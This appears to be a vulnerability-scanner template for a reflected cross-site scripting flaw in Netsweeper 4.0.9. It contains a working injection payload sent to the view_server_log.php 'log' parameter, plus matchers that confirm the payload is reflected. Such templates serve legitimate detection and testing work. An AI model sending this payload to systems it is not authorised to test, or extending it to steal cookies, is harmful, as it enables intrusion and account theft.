id: netsweeper-rxss

info:
  name: Netsweeper 4.0.9 - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: Netsweeper 4.0.9 contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://www.exploit-db.com/exploits/37930
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: edb,xss,packetstorm,netsweeper,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webadmin/reporter/view_server_log.php?server=localhost&act=stats&filename=&offset=1&count=1000&sortorder=&log=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&offset=&sortitem=&filter='

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100823d19ab78234e00dad8ce4a498909c95cb8e75c552e28d10089ba3d5b1bb37f02201609ba61bb6a1121febb82bfcae308c323001325ac7dcda9e62bf4b2274fe1b2:922c64590222798bb761d5b6d8e72950